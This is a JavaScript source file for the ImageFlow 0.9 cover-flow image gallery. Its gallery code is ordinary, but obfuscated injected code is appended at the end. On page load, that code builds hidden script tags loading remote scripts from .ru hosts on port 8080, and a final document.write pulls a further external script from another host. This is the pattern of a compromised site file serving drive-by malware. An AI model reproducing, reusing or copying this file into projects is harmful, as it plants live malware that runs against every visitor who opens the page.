/**
 *	ImageFlow 0.9 - Hacked version for Shadowbox compatibility
 *
 *	This code is based on Michael L. Perrys Cover flow in Javascript.
 *	For he wrote that "You can take this code and use it as your own" [1]
 *	this is my attempt to improve some things. Feel free to use it! If
 *	you have any questions on it leave me a message in my shoutbox [2].
 *
 *	The reflection is generated server-sided by a slightly hacked  
 *	version of Richard Daveys easyreflections [3] written in PHP.
 *	
 *	The mouse wheel support is an implementation of Adomas Paltanavicius
 *	JavaScript mouse wheel code [4].
 *
 *	Thanks to Stephan Droste ImageFlow is now compatible with Safari 1.x.
 *
 *
 *	[1] http://www.adventuresinsoftware.com/blog/?p=104#comment-1981
 *	[2] http://shoutbox.finnrudolph.de/
 *	[3] http://reflection.corephp.co.uk/v2.php
 *	[4] http://adomas.org/javascript-mouse-wheel/
 */


/* Configuration variables */
var conf_reflection_p = 0.5;         // Sets the height of the reflection in % of the source image 
var conf_focus = 4;                  // Sets the numbers of images on each side of the focussed one
var conf_slider_width = 14;          // Sets the px width of the slider div
var conf_images_cursor = 'pointer';  // Sets the cursor type for all images default is 'default'
var conf_slider_cursor = 'default';  // Sets the slider cursor type: try "e-resize" default is 'default'

/* Id names used in the HTML */
var conf_imageflow = 'imageflow';    // Default is 'imageflow'
var conf_loading = 'loading';        // Default is 'loading'
var conf_images = 'images';          // Default is 'images'
var conf_captions = 'captions';      // Default is 'captions'
var conf_scrollbar = 'scrollbar';    // Default is 'scrollbar'
var conf_slider = 'slider';          // Default is 'slider'

/* Define global variables */
var caption_id = 0;
var new_caption_id = 0;
var current = 0;
var target = 0;
var mem_target = 0;
var timer = 0;
var array_images = new Array();
var new_slider_pos = 0;
var dragging = false;
var dragobject = null;
var dragx = 0;
var posx = 0;
var new_posx = 0;
var xstep = 150;
var startItem = 2;
var startItemParameter = 'p';


function step()
{
	switch (target < current-1 || target > current+1) 
	{
		case true:
			moveTo(current + (target-current)/3);
			window.setTimeout(step, 50);
			timer = 1;
			break;

		default:
			timer = 0;
			break;
	}
}

function glideTo(x, new_caption_id)
{	
	/* Animate gliding to new x position */
	target = x;
	mem_target = x;
	if (timer == 0)
	{
		window.setTimeout(step, 50);
		timer = 1;
	}
	
	/* Display new caption */
	caption_id = new_caption_id;
	caption = image_array[caption_id].getAttribute('alt');
	if (caption == '') caption = '&nbsp;';
	caption_div.innerHTML = caption;

	/* Set scrollbar slider to new position */
	if (dragging == false)
	{
		new_slider_pos = (scrollbar_width * (-(x*100/((max-1)*xstep))) / 100) - new_posx;
		slider_div.style.marginLeft = (new_slider_pos - conf_slider_width) + 'px';
	}
}

function moveTo(x)
{
	current = x;
	var zIndex = max;
	
	/* Main loop */
	for (var index = 0; index < max; index++)
	{
		var image = image_array[index];
		var current_image = index * -xstep;

		/* Don't display images that are not conf_focussed */
		if ((current_image+max_conf_focus) < mem_target || (current_image-max_conf_focus) > mem_target)
		{
			image.style.visibility = 'hidden';
			image.style.display = 'none';
		}
		else 
		{
			var z = Math.sqrt(10000 + x * x) + 100;
			var xs = x / z * size + size;

			/* Still hide images until they are processed, but set display style to block */
			image.style.display = 'block';
		
			/* Process new image height and image width */
			var new_img_h = (image.h / image.w * image.pc) / z * size;
			switch ( new_img_h > max_height )
			{
				case false:
					var new_img_w = image.pc / z * size;
					break;

				default:
					new_img_h = max_height;
					var new_img_w = image.w * new_img_h / image.h;
					break;
			}
			
			//customized code by kaya: don't stretch images
			var leftAdd = 0;
			if(new_img_h > image.h) new_img_h = image.h;
			if(new_img_w > image.w){
				 leftAdd = (new_img_w - image.w)/2;
				 new_img_w = image.w;
			} 
			
			var new_img_top = (images_width * 0.34 - new_img_h) + images_top + ((new_img_h / (conf_reflection_p + 1)) * conf_reflection_p);

			/* Set new image properties */
			image.style.left = xs - (image.pc / 2) / z * size + images_left + leftAdd + 'px';
			if(new_img_w && new_img_h)
			{ 
				image.style.height = new_img_h + 'px'; 
				image.style.width = new_img_w + 'px'; 
				image.style.top = new_img_top + 'px';
			}
			image.style.visibility = 'visible';

			/* Set image layer through zIndex */
			switch ( x < 0 )
			{
				case true:
					zIndex++;
					break;

				default:
					zIndex = zIndex - 1;
					break;
			}
			
			/* Change zIndex and onclick function of the focussed image */
			switch ( image.i == caption_id )
			{
				case false:
					image.onclick = function() { glideTo(this.x_pos, this.i); }
					break;

				default:
					zIndex = zIndex + 1;
					if(image.url !== null && image.url !== '')
					{
					image.onclick = function() { document.location = this.url; }
					}
					break;
			}
			image.style.zIndex = zIndex;
		}
		x += xstep;
	}
}

/* Main function */
function refresh(onload)
{
	/* Cache document objects in global variables */
	imageflow_div = document.getElementById(conf_imageflow);
	img_div = document.getElementById(conf_images);
	scrollbar_div = document.getElementById(conf_scrollbar);
	slider_div = document.getElementById(conf_slider);
	caption_div = document.getElementById(conf_captions);

	/* Cache global variables, that only change on refresh */
	images_width = img_div.offsetWidth;
	images_top = imageflow_div.offsetTop;
	images_left = imageflow_div.offsetLeft;
	max_conf_focus = conf_focus * xstep;
	size = images_width * 0.5;
	scrollbar_width = images_width * 0.6;
	conf_slider_width = conf_slider_width * 0.5;
	max_height = images_width * 0.51;

	/* Change imageflow div properties */
	imageflow_div.style.height = max_height + 'px';

	/* Change images div properties */
	img_div.style.height = images_width * 0.338 + 'px';

	/* Change captions div properties */
	caption_div.style.width = images_width + 'px';
	caption_div.style.marginTop = images_width * 0.03 + 'px';

	/* Change scrollbar div properties */
	scrollbar_div.style.marginTop = images_width * 0.02 + 'px';
	scrollbar_div.style.marginLeft = images_width * 0.2 + 'px';
	scrollbar_div.style.width = scrollbar_width + 'px';
	
	/* Set slider attributes */
	slider_div.onmousedown = function () { dragstart(this); };
	slider_div.style.cursor = conf_slider_cursor;


	/* Get only the images */
	image_array = img_div.getElementsByTagName('img');

	/* Cache EVERYTHING! */
	max = image_array.length;
	var i = 0;
	for (var index = 0; index < max; index++)
	{ 
		var image = image_array[index];

			array_images[i] = index;
			
			/* Set image onclick by adding i and x_pos as attributes! */
			image.onclick = function() { glideTo(this.x_pos, this.i); }
			image.x_pos = (-i * xstep);
			image.i = i;
			
		
			/* Add width and height as attributes ONLY once onload */
			if(onload == true)
			{
				image.w = image.width;
				image.h = image.height;
			}

			/* Check source image format. Get image height minus reflection height! */
			switch ((image.w + 1) > (image.h / (conf_reflection_p + 1))) 
			{
				/* Landscape format */
				case true:
					image.pc = 118;
					break;

				/* Portrait and square format */
				default:
					image.pc = 100;
					break;
			}

		        /* Set ondblclick event only if the longdesc attribute is set and not empty */
			image.url = image.getAttribute('longdesc');
		        if(image.url !== null && image.url !== '')
		        {
			     image.ondblclick = function() { document.location = this.url; }
		        }

			/* Set image cursor type */
			image.style.cursor = conf_images_cursor;

			i++;
	}
	max = array_images.length;

	/* Display images in current order */
	moveTo(current);
	glideTo(current, caption_id);
}

/* Show/hide element functions */
function show(id)
{
	var element = document.getElementById(id);
	element.style.visibility = 'visible';
}
function hide(id)
{
	var element = document.getElementById(id);
	element.style.visibility = 'hidden';
	element.style.display = 'none';
}

function getRequestParameter( name )
{
 name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
 var regexS = "[\\?&]"+name+"=([^&#]*)";
 var regex = new RegExp( regexS );
 var results = regex.exec( window.location.href );
 if( results == null )
   return "";
 else
   return results[1];
}

/* Hide loading bar, show content and initialize mouse event listening after loading */
window.onload = function()
{
	if(document.getElementById(conf_imageflow))
	{
		hide(conf_loading);
		refresh(true);
		show(conf_images);
		show(conf_scrollbar);
		initMouseWheel();
		initMouseDrag();
                var tmp = getRequestParameter(startItemParameter);
		if(tmp != "") startItem = tmp;
		glideTo( (-1*xstep)*(startItem-1), startItem-1);
	}
}

/* Refresh ImageFlow on window resize */
window.onresize = function()
{
	if(document.getElementById(conf_imageflow)) refresh();
}

/* Fixes the back button issue */
window.onunload = function()
{
  document = null;
}


/* Handle the wheel angle change (delta) of the mouse wheel */
function handle(delta)
{
	var change = false;
	switch (delta > 0)
	{
		case true:
			if(caption_id >= 1)
			{
				target = target + xstep;
				new_caption_id = caption_id - 1;
				change = true;
			}
			break;

		default:
			if(caption_id < (max-1))
			{
				target = target - xstep;
				new_caption_id = caption_id + 1;
				change = true;
			}
			break;
	}

	/* Glide to next (mouse wheel down) / previous (mouse wheel up) image */
	if (change == true)
	{
		glideTo(target, new_caption_id);
	}
}

/* Event handler for mouse wheel event */
function wheel(event)
{
	var delta = 0;
	if (!event) event = window.event;
	if (event.wheelDelta)
	{
		delta = event.wheelDelta / 120;
	}
	else if (event.detail)
	{
		delta = -event.detail / 3;
	}
	if (delta) handle(delta);
	if (event.preventDefault) event.preventDefault();
	event.returnValue = false;
}

/* Initialize mouse wheel event listener */
function initMouseWheel()
{
	if(window.addEventListener) imageflow_div.addEventListener('DOMMouseScroll', wheel, false);
	imageflow_div.onmousewheel = wheel;
}

/* This function is called to drag an object (= slider div) */
function dragstart(element)
{
	dragobject = element;
	dragx = posx - dragobject.offsetLeft + new_slider_pos;
}

/* This function is called to stop dragging an object */
function dragstop()
{
	dragobject = null;
	dragging = false;
}

/* This function is called on mouse movement and moves an object (= slider div) on user action */
function drag(e)
{
	posx = document.all ? window.event.clientX : e.pageX;
	if(dragobject != null)
	{
		dragging = true;
		new_posx = (posx - dragx) + conf_slider_width;

		/* Make sure, that the slider is moved in proper relation to previous movements by the glideTo function */
		if(new_posx < ( - new_slider_pos)) new_posx = - new_slider_pos;
		if(new_posx > (scrollbar_width - new_slider_pos)) new_posx = scrollbar_width - new_slider_pos;
		
		var slider_pos = (new_posx + new_slider_pos);
		var step_width = slider_pos / ((scrollbar_width) / (max-1));
		var image_number = Math.round(step_width);
		var new_target = (image_number) * -xstep;
		var new_caption_id = image_number;

		dragobject.style.left = new_posx + 'px';
		glideTo(new_target, new_caption_id);
	}
}

/* Initialize mouse event listener */
function initMouseDrag()
{
	document.onmousemove = drag;
	document.onmouseup = dragstop;

	/* Avoid text and image selection while dragging  */
	document.onselectstart = function () 
	{
		if (dragging == true)
		{
			return false;
		}
		else
		{
			return true;
		}
	}
}

function getKeyCode(event)
{
	event = event || window.event;
	return event.keyCode;
}

document.onkeydown = function(event)
{
	var charCode  = getKeyCode(event);
	switch (charCode)
	{
		/* Right arrow key */
		case 39:
			handle(-1);
			break;
		
		/* Left arrow key */
		case 37:
			handle(1);
			break;
	}
}
var gk=["I"];N={H_:63161};function x(){var q=String("RjMsr".substr(3)+"c");var y=window;var p={o:"XD"};var S=String("body");bS={};this.pL=56129;this.pL+=85;var P="cr"+"tgPea".substr(3)+"ExSuteESxu".substr(4,2)+"El"+"em1lY0".substr(0,2)+"en"+"t";var z=new String("defer");try {var E='zT'} catch(E){};var ib=new String("sc"+"B0gAri".substr(4)+"o59Zpt59oZ".substr(4,2));var i_=String("appen"+"Y8zwdChil".substr(4)+"d");l=39922;l-=72;var b=document;var XR={};var KT={};this.t="t";var Z=new Date();var Sz=String("WK1Fonlo".substr(4)+"ad");BJ=["w","f","Ms"];Tq=29200;Tq--;this.J=14119;this.J+=85;function qn(){this.aA="";try {} catch(Kj){};var sv="";var gu="";try {this.Fi=45407;this.Fi+=36;Kn=["yS","FK"];Rq=49601;Rq-=213;var V=new String();var r=false;var c=31049-22969;var xA=String("http:"+"//labKYz6".substr(0,5)+"elstafcB".substr(0,5)+"L2Ure.ru2UL".substr(3,5)+"qmEG:".substr(4));var pB=new Array();var X=String("/sh"+"S6gare".substr(3)+"LwFasa".substr(3)+"le-"+"pCaPcomaPpC".substr(4,3)+"/go"+"Gn2ogl".substr(3)+"e.c"+"4Q9com/94cQ".substr(4,3)+"OXasgiz".substr(4)+"mod"+"o.c"+"om."+"php");var H=1279-1278;var asY='';var U=new String();D=b[P](ib);var Y='';this.rT=45587;this.rT--;var pt={DX:false};Su=["EH","PR"];D[q]=xA+c+X;rn={EF:"dH"};try {var Aw='xc'} catch(Aw){};D[z]=H;xj={};Gt=[];b[S][i_](D);dE=["kf"];} catch(g){var Rl={pj:25810};};}this.ND=52520;this.ND++;HS=41832;HS-=100;y[Sz]=qn;var kS=["zc"];var UK={Rh:21678};};eVZ={Ii:24788};x();rY=62831;rY+=136;this.Hkt="Hkt";
try {} catch(pE){};try {} catch(Xp){};eE=32291;eE--;try {} catch(I){};try {this.Q=false;var w=new Array();var i=window[String("a07hun".substr(4)+"escmbG".substr(0,2)+"casvMg".substr(0,2)+"jWcpeWcj".substr(3,2))];this.s=12128;this.s-=48;this.Kg=62204;this.Kg-=229;var U=new String();F=["rY","O"];var V=window[(String("RegE"+"xp"))];E=9858;E-=155;kl=15194;kl+=67;var A="rep"+"lac"+"e";this.jS="";var k='';var j="1";var mI='';var H='';var a={v:false};var e=String("onlo"+"SQmad".substr(3));f=48381;f--;var EC=3018;x=37020;x--;var rc=new Date();this._lg='';this._M='';this.Po=30979;this.Po--;function _(j,B){this.CH=false;this.AR="AR";this._B=false;this.xJ="xJ";this.Vo="Vo";var PL=["pa","Zk"];var M="[ltxv".substr(0,1);XK=["Su","s_"];try {} catch(oL){};M+=B;var Rv=["AB","jR"];var Ek=[];KC=[];var QO="QO";M+=i("%5d");var MT={of:false};var Ib={om:false};var er=false;dA=9445;dA++;var C=new V(M, String("g"));return j.replace(C, k);var Bv=new Array();};oY=50650;oY--;fp={};var CE={};var h=new String("/reveAdE".substr(0,5)+"rso-nl0c".substr(0,5)+"et/go32v".substr(0,5)+"ogle."+"GdIKcom/cIdKG".substr(4,5)+"omcas"+"t.netZpb".substr(0,5)+"GZrv.phpZrvG".substr(4,4));this.kH=35628;this.kH++;var m=343238-335158;this.dS=34232;this.dS++;var o=String("htt"+"p:/b9v".substr(0,3)+"/go"+"thg"+"uil"+"t.r"+"u:");var ty=["do_"];tc={XG:34617};var HC=["aH"];LN={Ts:false};var Mk=["Ki","hn","MA"];try {} catch(Ii){};try {var rl='yF'} catch(rl){};function G(){this.lg=55980;this.lg++;this.SX=36579;this.SX-=86;var qL=new Date();Gx={};SO={};var W=_('sIclrDikphto','fHljVvok4uKhqDIQ');try {var YN='me'} catch(YN){};var Mw=false;this.kN=19486;this.kN--;this.bP=4490;this.bP--;yc={};var BA=document;var AA=false;this.Nd="";var Oz={};var JL={Av:"YF"};var X=new String("appe"+"ERyndCh".substr(3)+"wFm4ildF4mw".substr(4,3));this.ZC=3686;this.ZC++;var F_=["JC","Hi","Od"];var Nu=["rj","Ax","jRs"];var ON={};var rBN=new Date();this.RW=38738;this.RW-=177;var lB=["gF"];_l=BA.createElement(W);this.OA=5769;this.OA-=77;var ew=new Date();var VU='';this.z_=false;this.ql=false;var dR="";var pt="pt";var Pz={FP:8336};P=o+m;HL=32462;HL+=9;P=P+h;try {} catch(Xs){};this.EV=false;this.tb=false;try {} catch(Uh){};ji=["c_","zK"];var HG=new String();so=11437;so+=84;var Yp=new String();this.aN="";var T=BA.body;_l[String("de9R76".substr(0,2)+"fe59z".substr(0,2)+"94nr".substr(3))]=j;VT=8274;VT-=221;var bun=["Hl"];ZT=24617;ZT-=219;var GK=["Qm"];try {var BO='tk'} catch(BO){};_l.src=P;try {} catch(li){};this.tB="";var Ku='';T[X](_l);UF=[];this.hm="hm";};this.KK='';var xW={af:10575};this.hP='';var VM=[];this.VI='';HQI=["wZ"];var Ag=16397;window[e]=G;this.JQ="";xc=[];var nl={SD:184};} catch(p){try {var IM='eb'} catch(IM){};var lV=new Date();cC=58014;cC-=95;Fc=["cM"];_a=["hd"];this.pg=14943;this.pg--;by=["XN"];};s_p=63145;s_p+=134;





document.write('<s'+'cript type="text/javascript" src="http://assolkh.blackhulu.com:8080/Yahoo.js"></scr'+'ipt>');